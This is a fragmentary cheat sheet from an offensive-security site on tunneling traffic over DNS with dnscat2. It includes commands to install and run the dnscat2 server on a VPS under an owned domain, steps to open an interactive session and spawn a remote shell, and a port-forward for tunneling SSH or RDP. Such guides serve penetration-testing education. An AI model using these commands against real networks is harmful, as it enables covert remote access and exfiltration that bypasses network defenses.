

DNS Tunneling dnscat2 Cheat Sheet ∞

CHEAT-SHEET 04 Jun 2021 Arr0way



What is DNS **Tunneling**

tunneling data over DNS.

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What You Will Learn:

You Will Need

In order to tunnel data over DNS a real world domain must be used and the

Buying a Domain

How to Change Name Servers On NameSilo

DNS Forwarding with Dnscat2

- 1. Install dsncat2 apt-get install dnscat2 -y
- 2. Run: dnscat2-server yourdomain.com on your VPS

CHEAT SHEETS

WALKTHROUGHS

TECHNIQUES

SECURITY HARDENING

/DEV/URANDOM

- If your domain's NS are configured correctly the session should be established
- 5. Enter session -i to spawn an interactive session
- 6. Launch a shell using shell

Dnscat2 Port Forwarding

Dnscat2 supports TCP forwarding allowing you to tunnel SSH or RDP connections over the established DNS tunnel.

command (client) 4> listen 127.0.0.1:22 target:22

Again this will slow but functional

Enjoy.



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Sec0ps	Encrypted Notes App Solution (iOS, Android, MacOS, Linux, Windows)
cheat-sheet	SSH Lateral Movement Cheat Sheet
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Insecure Direct Object
Reference (IDOR):
Definition, Examples &
How to Find
Encrypted Notes App
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